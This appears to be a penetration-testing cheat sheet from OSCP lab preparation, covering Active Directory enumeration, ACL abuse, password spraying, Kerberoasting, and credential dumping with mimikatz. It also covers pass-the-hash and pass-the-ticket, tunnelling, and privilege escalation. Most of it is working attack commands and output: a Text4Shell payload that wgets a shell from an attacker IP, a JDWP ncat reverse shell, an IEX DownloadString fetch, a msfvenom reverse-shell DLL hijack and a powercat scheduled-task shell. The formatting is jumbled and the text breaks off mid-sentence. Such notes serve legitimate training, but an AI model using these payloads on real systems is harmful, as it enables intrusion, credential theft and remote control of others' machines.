8:03:47 AM instancetype : 4 usncreated : 8196 objectguid : e5591000-080d-44c4-89c8-b06574a14d85 lastlogoff : 12/31/1600 4:00:00 PM objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com dscorepropagationdata : {9/2/2022 11:25:58 PM, 9/2/2022 11:25:58 PM, 9/2/2022 11:10:49 PM, 1/1/1601 6:12:16 PM} memberof : {CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=com, CN=Domain Admins,CN=Users,DC=corp,DC=com, CN=Enterprise Admins,CN=Users,DC=corp,DC=com, CN=Schema Admins,CN=Users,DC=corp,DC=com...} lastlogon : 9/14/2022 2:37:15 AM ... # The output shows that cn stores usernames; pipe the output to select and choose cn PS C:\\Tools\u0026gt; Get-NetUser | select cn cn -- Administrator Guest krbtgt dave stephanie jeff jeffadmin iis_service pete jen # Retrieve other attributes Get-NetUser | select cn,pwdlastset,lastlogon # Similarly, use Get-NetGroup to enumerate groups PS C:\\Tools\u0026gt; Get-NetGroup | select cn cn -- ... Key Admins Enterprise Key Admins DnsAdmins DnsUpdateProxy Sales Department Management Department Development Department Debug # Use Get-NetGroup to inspect the Sales Department and pipe the output to select member PS C:\\Tools\u0026gt; Get-NetGroup \u0026#34;Sales Department\u0026#34; | select member member ------ {CN=Development Department,DC=corp,DC=com, CN=pete,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 # Obtain more information # Use the PowerView Get-NetComputer command to enumerate computer objects in the domain Get-NetComputer # Filter to obtain hostnames and OS versions for all domain hosts Get-NetComputer | select operatingsystem,dnshostname # Run as stephanie (important in real engagements) PS C:\\\u0026gt; Find-LocalAdminAccess # What happens internally: # 1. Try connecting to machine A\u0026#39;s SCM -\u0026gt; failed (insufficient permissions) # 2. Try connecting to machine B\u0026#39;s SCM -\u0026gt; failed (insufficient permissions) # 3. Try connecting to client74\u0026#39;s SCM -\u0026gt; success! (stephanie is a local administrator on client74) # 4. Continue trying other machines... # Final output client74.corp.com # Indicates administrator privileges on this machine # Find logged-on users on domain hosts; this requires substantial privileges # Normally, insufficient permissions mean the current user must access the target as an administrator # Alternatively, access to the SrvsvcSessionInfo registry entry on the target is required PS C:\\Tools\u0026gt; Get-NetSession -ComputerName files04 -Verbose VERBOSE: [Get-NetSession] Error: Access is denied PS C:\\Tools\u0026gt; Get-NetSession -ComputerName web04 -Verbose VERBOSE: [Get-NetSession] Error: Access is denied # The result above shows administrator privileges on client74, so inspect client74 Get-NetSession -ComputerName client74 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # The method above normally requires more privileges; the following method does not https://learn.microsoft.com/en-us/sysinternals/downloads/pstools provides the suite from the official site # It queries through the Remote Registry service .\\PsLoggedon.exe \\\\files04 PsLoggedon v1.35 - See who\u0026#39;s logged on Copyright (C) 2000-2016 Mark Russinovich Sysinternals - www.sysinternals.com Users logged on locally: \u0026lt;unknown time\u0026gt; CORP\\jeff Unable to query resource logons # When a different user is logged on and administrator access is available # The main action is to analyze LSASS 1 2 3 4 5 6 7 # Enumerate SPNs in the domain setspn -L iis_service # Import PowerView # Gather information about service accounts Get-NetUser -SPN | select samaccountname,serviceprincipalname nslookup.exe web04.corp.com 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 # Enumerate object permissions in the domain # Reference permission list GenericAll: Full permissions on object GenericWrite: Edit certain attributes on the object WriteOwner: Change ownership of the object WriteDACL: Edit ACE\u0026#39;s applied to object AllExtendedRights: Change password, reset password, etc. ForceChangePassword: Password change for object Self (Self-Membership): Add ourselves to for example a group GenericAll (Full Control): Highest permission level Provides full control over the object Allows any operation: modify attributes, reset passwords, add to groups, and more Example: GenericAll over a user allows direct password reset GenericWrite (Write Permission): Allows modification of most object attributes Does not allow modification of sensitive attributes such as passwords Example: modify a user\u0026#39;s scriptPath attribute to achieve code execution WriteOwner (Change Owner): Allows changing the object\u0026#39;s owner Changing ownership to yourself can lead to full control Example: become the owner of a group and then control it WriteDACL (Modify Access Control): Allows modification of the object\u0026#39;s access-control list Allows permissions to be added or removed Example: grant yourself GenericAll AllExtendedRights (Extended Rights): Includes special operations such as password resets Does not include ordinary attribute-modification permissions Example: reset a user\u0026#39;s password ForceChangePassword (Force Password Change): A permission specifically for changing passwords Does not require the original password Example: directly reset the target user\u0026#39;s password Self (Self-Membership): Allows adding yourself to a group Only yourself can be added Example: add yourself to a privileged group # Official reference # https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks Simple usage methods Using GenericAll: powershellCopy# If GenericAll is held over user UserA net user UserA NewPass123! /domain # Change the password directly Using GenericWrite: powershellCopy# Modify the user\u0026#39;s script path to achieve code execution Set-ADUser -Identity UserA -ScriptPath \u0026#34;\\\\attacker\\share\\evil.ps1\u0026#34; Using WriteOwner: powershellCopy# First, change the owner to yourself Set-DomainObjectOwner -Identity \u0026#34;Domain Admins\u0026#34; -OwnerIdentity YourAccount # Further operations are then possible Using WriteDACL: powershellCopy# Grant yourself full permissions Add-DomainObjectAcl -TargetIdentity \u0026#34;Domain Admins\u0026#34; -Rights All Using ForceChangePassword: powershellCopy# Change the password directly Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString \u0026#39;Password123!\u0026#39; -AsPlainText -Force) Using Self (Self-Membership): powershellCopy# Add yourself to the group Add-DomainGroupMember -Identity \u0026#39;Domain Admins\u0026#39; -Members \u0026#39;YourAccount\u0026#39; # The above covers usage; below, query information and use the results for privilege escalation # View which ACEs apply to the current user PS C:\\Tools\u0026gt; Get-ObjectAcl -Identity stephanie ... ObjectDN : CN=stephanie,CN=Users,DC=corp,DC=com ObjectSID : S-1-5-21-1987370270-658905905-1781884369-1104 ActiveDirectoryRights : ReadProperty ObjectAceFlags : ObjectAceTypePresent ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529 InheritedObjectAceType : 00000000-0000-0000-0000-000000000000 BinaryLength : 56 AceQualifier : AccessAllowed IsCallback : False OpaqueLength : 0 AccessMask : 16 SecurityIdentifier : S-1-5-21-1987370270-658905905-1781884369-553 AceType : AccessAllowedObject AceFlags : None IsInherited : False InheritanceFlags : None PropagationFlags : None AuditFlags : None # In this example, the current SID is S-1-5-21-1987370270-658905905-1781884369-1104 # S-1-5-21-1987370270-658905905-1781884369-553 grants us ReadProperty permission # Next, identify the owner of this SID PS C:\\Tools\u0026gt; Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104 CORP\\stephanie # This shows which permissions SecurityIdentifier has over ObjectSID # The example below queries who has full control over the \u0026#34;Management Department\u0026#34; group PS C:\\Tools\u0026gt; Get-ObjectAcl -Identity \u0026#34;Management Department\u0026#34; | ? {$_.ActiveDirectoryRights -eq \u0026#34;GenericAll\u0026#34;} | select SecurityIdentifier,ActiveDirectoryRights SecurityIdentifier ActiveDirectoryRights ------------------ --------------------- S-1-5-21-1987370270-658905905-1781884369-512 GenericAll S-1-5-21-1987370270-658905905-1781884369-1104 GenericAll S-1-5-32-548 GenericAll S-1-5-18 GenericAll S-1-5-21-1987370270-658905905-1781884369-519 GenericAll PS C:\\Tools\u0026gt; \u0026#34;S-1-5-21-1987370270-658905905-1781884369-512\u0026#34;,\u0026#34;S-1-5-21-1987370270-658905905-1781884369-1104\u0026#34;,\u0026#34;S-1-5-32-548\u0026#34;,\u0026#34;S-1-5-18\u0026#34;,\u0026#34;S-1-5-21-1987370270-658905905-1781884369-519\u0026#34; | Convert-SidToName CORP\\Domain Admins CORP\\stephanie BUILTIN\\Account Operators Local System CORP\\Enterprise Admins # The output above shows that stephanie, the current user, has full control over this group # This allows adding yourself or another user to the group and using the group\u0026#39;s permissions PS C:\\Tools\u0026gt; net group \u0026#34;Management Department\u0026#34; stephanie /add /domain The request will be processed at a domain controller for domain corp.com. The command completed successfully. # The current user was added above; query permissions to confirm membership PS C:\\Tools\u0026gt; Get-NetGroup \u0026#34;Management Department\u0026#34; | select member member ------ {CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com} PS C:\\Tools\u0026gt; net group \u0026#34;Management Department\u0026#34; stephanie /del /domain The request will be processed at a domain controller for domain corp.com. The command completed successfully. # View group permissions Get-ObjectAcl -Identity \u0026#34;Management Department\u0026#34; # Verify these items, then remove them PS C:\\Tools\u0026gt; Get-NetGroup \u0026#34;Management Department\u0026#34; | select member member ------ CN=jen,CN=Users,DC=corp,DC=com PS C:\\Tools\u0026gt; net group \u0026#34;Management Department\u0026#34; stephanie /del /domain The request will be processed at a domain controller for domain corp.com. The command completed successfully. Use PowerView again to verify that jen is the group\u0026#39;s only member: PS C:\\Tools\u0026gt; Get-NetGroup \u0026#34;Management Department\u0026#34; | select member member ------ CN=jen,CN=Users,DC=corp,DC=com 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Import PowerView again PS C:\\Tools\u0026gt; Find-DomainShare Name Type Remark ComputerName ---- ---- ------ ------------ ADMIN$ 2147483648 Remote Admin DC1.corp.com C$ 2147483648 Default share DC1.corp.com IPC$ 2147483651 Remote IPC DC1.corp.com NETLOGON 0 Logon server share DC1.corp.com SYSVOL 0 Logon server share DC1.corp.com ADMIN$ 2147483648 Remote Admin web04.corp.com backup 0 web04.corp.com C$ 2147483648 Default share web04.corp.com IPC$ 2147483651 Remote IPC web04.corp.com ADMIN$ 2147483648 Remote Admin FILES04.corp.com C 0 FILES04.corp.com C$ 2147483648 Default share FILES04.corp.com docshare 0 Documentation purposes FILES04.corp.com IPC$ 2147483651 Remote IPC FILES04.corp.com Tools 0 FILES04.corp.com Users 0 FILES04.corp.com Windows 0 FILES04.corp.com ADMIN$ 2147483648 Remote Admin client74.corp.com C$ 2147483648 Default share client74.corp.com IPC$ 2147483651 Remote IPC client74.corp.com ADMIN$ 2147483648 Remote Admin client75.corp.com C$ 2147483648 Default share client75.corp.com IPC$ 2147483651 Remote IPC client75.corp.com sharing 0 client75.corp.com This shows many accessible SMB directories, but does not indicate read or write access # Then perform the classic SYSVOL XML-file check # This provides a convenient one-line command without the usual extra steps gpp-decrypt \u0026#34;+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE\u0026#34; # Next, inspect shares for non-default content, for example docshare 1 2 3 4 C:\\Tools\\Spray-Passwords.ps1 # It identifies domain users automatically and supports a single password or wordlist for brute forcing .\\Spray-Passwords.ps1 -Pass Nexus123! -Admin .\\Spray-Passwords.ps1 -File 1.txt -Admin 89.Rubeus 1 2 3 4 5 6 7 8 9 10 # This failed every time in the OSCP lab, but it is still useful enough to note # Transfer it to the target machine # Perform AS-REP Roasting in one step, then use hashcat .\\Rubeus.exe asreproast /nowrap # Find service-account tickets in one step, similar to GetUserSPNs .\\Rubeus.exe kerberoast /outfile:hashes.kerberoast # Check the target service\u0026#39;s SPN when generating a ticket setspn -L username 90.Lateral Movement in AD (Some Great Ideas from OSCP) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 mimikatz # privilege::debug Privilege \u0026#39;20\u0026#39; OK mimikatz # sekurlsa::logonpasswords ... Authentication Id : 0 ; 1142030 (00000000:00116d0e) Session : Interactive from 0 User Name : jen Domain : CORP Logon Server : DC1 Logon Time : 2/27/2023 7:43:20 AM SID : S-1-5-21-1987370270-658905905-1781884369-1124 msv : [00000003] Primary * Username : jen * Domain : CORP * NTLM : 369def79d8372408bf6e93364cc93075 * SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4 * DPAPI : ed6686fedb60840cd49b5286a7c08fa4 tspkg : wdigest : * Username : jen * Domain : CORP * Password : (null) kerberos : * Username : jen * Domain : CORP.COM * Password : (null) ssp : credman : ... mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell user : jen domain : corp.com program : powershell impers. : no NTLM : 369def79d8372408bf6e93364cc93075 | PID 8716 | TID 8348 | LSA Process is now R/W | LUID 0 ; 16534348 (00000000:00fc4b4c) \\_ msv1_0 - data copy @ 000001F3D5C69330 : OK ! \\_ kerberos - data copy @ 000001F3D5D366C8 \\_ des_cbc_md4 -\u0026gt; null \\_ des_cbc_md4 OK \\_ des_cbc_md4 OK \\_ des_cbc_md4 OK \\_ des_cbc_md4 OK \\_ des_cbc_md4 OK \\_ des_cbc_md4 OK \\_ *Password replace @ 000001F3D5C63B68 (32) -\u0026gt; null PS C:\\Windows\\system32\u0026gt; klist Current LogonId is 0:0x1583ae Cached Tickets: (0) The operations above open a new shell with PTH but create no tickets # The operation below generates krbtgt and cifs tickets, obtaining a Kerberos ticket through HTLM net use \\\\files04 PS C:\\Windows\\system32\u0026gt; klist Current LogonId is 0:0x17239e Cached Tickets: (2) #0\u0026gt; Client: jen @ CORP.COM Server: krbtgt/CORP.COM @ CORP.COM KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40e10000 -\u0026gt; forwardable renewable initial pre_authent name_canonicalize Start Time: 2/27/2023 5:27:28 (local) End Time: 2/27/2023 15:27:28 (local) Renew Time: 3/6/2023 5:27:28 (local) Session Key Type: RSADSI RC4-HMAC(NT) Cache Flags: 0x1 -\u0026gt; PRIMARY Kdc Called: DC1.corp.com #1\u0026gt; Client: jen @ CORP.COM Server: cifs/files04 @ CORP.COM KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40a10000 -\u0026gt; forwardable renewable pre_authent name_canonicalize Start Time: 2/27/2023 5:27:28 (local) End Time: 2/27/2023 15:27:28 (local) Renew Time: 3/6/2023 5:27:28 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: DC1.corp.com # With a cifs ticket, PTH can be performed directly as shown below # This may be more covert because it converts the HTLM hash into a Kerberos TGT PS C:\\Windows\\system32\u0026gt; cd C:\\tools\\SysinternalsSuite\\ PS C:\\tools\\SysinternalsSuite\u0026gt; .\\PsExec.exe \\\\files04 cmd PsExec v2.4 - Execute processes remotely Copyright (C) 2001-2022 Mark Russinovich Sysinternals - www.sysinternals.com Microsoft Windows [Version 10.0.20348.169] (c) Microsoft Corporation. All rights reserved. C:\\Windows\\system32\u0026gt;whoami corp\\jen C:\\Windows\\system32\u0026gt;hostname FILES04 Passing Tickets\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 This was covered earlier but is noted again here PS C:\\Windows\\system32\u0026gt; whoami corp\\jen PS C:\\Windows\\system32\u0026gt; ls \\\\web04\\backup ls : Access to the path \u0026#39;\\\\web04\\backup\u0026#39; is denied. At line:1 char:1 + ls \\\\web04\\backup + ~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (\\\\web04\\backup:String) [Get-ChildItem], UnauthorizedAccessException + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand mimikatz #privilege::debug Privilege \u0026#39;20\u0026#39; OK mimikatz #sekurlsa::tickets /export Authentication Id : 0 ; 2037286 (00000000:001f1626) Session : Batch from 0 User Name : dave Domain : CORP Logon Server : DC1 Logon Time : 9/14/2022 6:24:17 AM SID : S-1-5-21-1987370270-658905905-1781884369-1103 * Username : dave * Domain : CORP.COM * Password : (null) Group 0 - Ticket Granting Service Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM Target Name (02) : krbtgt ; CORP ; @ CORP.COM Client Name (01) : dave ; @ CORP.COM ( CORP ) Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi ! ... PS C:\\Tools\u0026gt; dir *.kirbi Directory: C:\\Tools Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/14/2022 6:24 AM 1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi -a---- 9/14/2022 6:24 AM 1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi -a---- 9/14/2022 6:24 AM 1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi -a---- 9/14/2022 6:24 AM 1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi -a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi -a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi -a---- 9/14/2022 6:24 AM 1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi -a---- 9/14/2022 6:24 AM 1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi -a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi -a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi ... mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi * File: \u0026#39;[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi\u0026#39;: OK PS C:\\Tools\u0026gt; klist Current LogonId is 0:0x13bca7 Cached Tickets: (1) #0\u0026gt; Client: dave @ CORP.COM Server: cifs/web04 @ CORP.COM KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags 0x40810000 -\u0026gt; forwardable renewable name_canonicalize Start Time: 9/14/2022 5:31:32 (local) End Time: 9/14/2022 15:31:13 (local) Renew Time: 9/21/2022 5:31:13 (local) Session Key Type: AES-256-CTS-HMAC-SHA1-96 Cache Flags: 0 Kdc Called: PS C:\\Tools\u0026gt; ls \\\\web04\\backup Directory: \\\\web04\\backup Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 9/13/2022 2:52 AM 0 backup_schemata.txt # Export the in-memory ticket and then import it 91.FTP Active Mode 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 Switch to active mode with: quote pasv Or force active mode with -A before connecting: ftp -A 192.168.172.145 Disable passive mode with the passive command: ftp\u0026gt; passive Passive mode: off If that still fails, set an environment variable before connecting: Copyexport FTP_PASSIVE=0 ftp 192.168.172.145 Use another FTP client such as lftp, which offers clearer active/passive mode controls: lftp -u anonymous 192.168.172.145 lftp\u0026gt; set ftp:passive-mode off Use ls -la or ls -l to view a detailed listing: ftp\u0026gt; ls -la Try switching to binary mode before listing the directory: ftp\u0026gt; binary ftp\u0026gt; dir Use quote LIST to send the raw FTP command directly: ftp\u0026gt; quote LIST Try using mls to save the directory listing to a local file: ftp\u0026gt; mls - listing.txt Try accessing common default directories on Windows FTP servers: ftp\u0026gt; cd pub Or ftp\u0026gt; cd upload If the exact filename is known, try retrieving it directly: ftp\u0026gt; get filename.txt You can also try switching to the parent directory: ftp\u0026gt; cdup 92.SSH Tunneling 1 2 3 4 5 6 7 8 ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 web_svc@192.168.139.147 # -L forwards a target-machine port locally; -R forwards a local port to a port opened on the target machine ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 web_svc@192.168.139.147 # Build a tunnel to carry traffic ssh -D 1080 -N Administrator@192.168.125.153 Use proxychains on local port 1080 93.snmpwalk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 snmpwalk -v1 -c public IP snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull # The command above queries command names, for example # RESET is the command NET-SNMP-EXTEND-MIB::nsExtendCommand.\u0026#34;RESET\u0026#34; = STRING: ./home/john/RESET_PASSWD snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\\\u0026#34;COMMAND_NAME\\\u0026#34; # Common extended-MIB queries snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table 94.CVE-2022–42889 (Text4Shell) https://meyerweb.com/eric/tools/dencoder/\t# URL encoding website\n1 2 ${script:javascript:java.lang.Runtime.getRuntime().exec(\u0026#39;command\u0026#39;)} %24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D 95.Java Debug Wire Protocol (JDWP) - Remote Code Execution https://www.exploit-db.com/exploits/46501\nhttps://github.com/IOActive/jdwp-shellifier/\n1 2 3 4 $ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd \u0026#34;ncat -v -l -p 1234 -e /bin/bash\u0026#34; Most importantly, trigger the accept() event. If Java listens on a port, connect to it actively with nc. This is integrated into the CMD exploit, but the port still requires attention. 96.Windows Local Privilege Escalation (Use This for a More Thorough Check) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Download PowerUp wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1 # On the target machine powershell -ep bypass . .\\PowerUp.ps1 Get-ModifiableServiceFile # Or perform a comprehensive check Invoke-AllChecks Invoke-AllChecks checks all potential service privilege-escalation vectors, including: Modifiable service executables Unquoted service paths Misconfigured service permissions, and more This avoids manually searching for escalation vectors such as modifiable service executables 97.chisel 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # This proxy is less convenient than ligolo-ng, but has a feature ligolo-ng lacks # It can forward local ports, while ligolo-ng cannot expose local services # I normally use frp, but tools such as ftp, lcx, and ew do not work in OSCP labs # The reason is unclear, and chisel sometimes also fails in OSCP labs # Chisel also failed to expose local ports; only an SSH tunnel worked # It is still worth noting because local-port forwarding is important # Start the server ./chisel server -p 8000 --reverse # Reverse port forwarding (forward target port 1433 to the attacker machine) chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433 # Attacker machine ./chisel server -p 8000 --reverse # Target machine chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT # The above exposes a target-local port; below, a Kali port is forwarded to Windows # Use this with a ligolo-ng tunnel when an internal host cannot reach Kali and may access only internal resources # Kali attacker machine ./chisel server -p 8000 --reverse # Target machine chisel.exe client KALI_IP:8000 R:80:KALI_IP:80 Forward a target-machine port to Kali: bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433 ↑ Points to the target machine locally Forward a Kali port to the target machine: bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80 ↑ Points to Kali 98.Extracting Archives from the Windows Command Line 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Use the built-in expand command: expand .\\nmap.zip -F:* C:\\programdata\\test Use PowerShell: Expand-Archive -Path c:\\source\\archive.zip -DestinationPath c:\\destination If the destination directory exists, add -Force: powershellCopyExpand-Archive -Path .\\nmap.zip -DestinationPath C:\\programdata\\test -Force Use tar (Windows 10 or later): tar -xf nmap.zip # Extract Expand-Archive nmap.zip 99.Unconventional Ideas 1 2 3 4 5 6 # Quick scan nmap -Pn -n 192.168.207.187 -sC -sV -p- --open # Remember what can be uploaded through file-upload functionality echo \u0026#34;AddType application/x-httpd-php .dork\u0026#34; \u0026gt; .htaccess # Available when a service account has lost all permissions https://itm4n.github.io/localservice-privileges/?source=post_page 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # Configure the required privilege list $Privs = @( \u0026#34;SeAssignPrimaryTokenPrivilege\u0026#34;, \u0026#34;SeAuditPrivilege\u0026#34;, \u0026#34;SeChangeNotifyPrivilege\u0026#34;, \u0026#34;SeCreateGlobalPrivilege\u0026#34;, \u0026#34;SeImpersonatePrivilege\u0026#34;, \u0026#34;SeIncreaseQuotaPrivilege\u0026#34;, \u0026#34;SeShutdownPrivilege\u0026#34;, \u0026#34;SeUndockPrivilege\u0026#34;, \u0026#34;SeIncreaseWorkingSetPrivilege\u0026#34;, \u0026#34;SeTimeZonePrivilege\u0026#34; ) # Create the task principal $TaskPrincipal = New-ScheduledTaskPrincipal -UserId \u0026#34;LOCALSERVICE\u0026#34; -LogonType ServiceAccount -RequiredPrivilege $Privs # Create the command to execute (reverse-shell example) $TaskAction = New-ScheduledTaskAction -Execute \u0026#34;powershell.exe\u0026#34; -Argument \u0026#34;-ep Bypass -Command `\u0026#34;. C:\\path\\to\\shell.ps1; powercat -l -p 7003 -ep`\u0026#34;\u0026#34; # Register and start the task Register-ScheduledTask -Action $TaskAction -TaskName \u0026#34;PrivEsc\u0026#34; -Principal $TaskPrincipal Start-ScheduledTask -TaskName \u0026#34;PrivEsc\u0026#34; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # On a domain host, remember to use PowerShell scripts to find SPNs and other information locally https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1 ## 1. Import the script Import-Module .\\Get-SPN.ps1 # 2. Find SPNs Get-SPN -type service # 3. Request tickets Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \u0026#34;MSSQLSvc/DC.access.offsec\u0026#34; # 4. Export tickets Invoke-Mimikatz -Command \u0026#39;\u0026#34;kerberos::list /export\u0026#34;\u0026#39; # Or export with a PowerShell command klist.exe purge klist.exe tgt # 5. Crack with hashcat hashcat -m 13100 ticket.kirbi wordlist.txt 1 2 3 4 # Use domain-user permissions to request a TGS for any SPN, mainly when no credentials are available on a domain controller or member host powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1 .\\Invoke-Kerberoast.ps1 Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt 1 2 3 4 5 6 7 8 9 # A lateral-movement tool for direct login with domain credentials https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1 Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command \u0026#34;whoami\u0026#34; Invoke-RunasCs -Username user -Password pass -Command \u0026#34;powershell IEX(New-Object Net.WebClient).DownloadString(\u0026#39;http://x.x.x.x/shell.ps1\u0026#39;)\u0026#34; # Enter-PSSession is built in and also works $SecPassword = ConvertTo-SecureString \u0026#39;Password123\u0026#39; -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential(\u0026#39;domain\\user\u0026#39;, $SecPassword) Enter-PSSession -ComputerName target -Credential $Cred 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 whoami /priv # The output above shows privileges, including disabled ones that may be enabled # Enable privileges $TokenPriv = Get-TokenPrivilege Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege # Verify that they are enabled whoami /priv # The automated method below can enable all of them directly https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html .\\EnableAllTokenPrivs.ps1 whoami /priv Token reference https://github.com/gtworek/Priv2Admin 1 2 3 4 5 6 7 8 9 10 11 12 13 14 SeMachineAccountPrivilege and SeManageVolumePrivilege are covered in this section https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9 https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public # 1. Enable the privilege Enable-TokenPrivilege -Privilege SeManageVolumePrivilege # 2. Modify C: drive permissions to gain write access .\\SeManageVolumeExploit.exe # 3. DLL hijacking # - systeminfo loads tzres.dll # - Write a malicious tzres.dll to C:\\windows\\system32\\wbem # - Generate a DLL reverse shell: msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll # 4. Run systeminfo to trigger DLL loading and obtain SYSTEM privileges tzres.dll is a system component loaded when systeminfo runs 1 2 3 4 5 6 # 1. If a service account ends with $ and the note mentions gMSA, it is a managed service account # 2. Use GMSAPasswordReader to 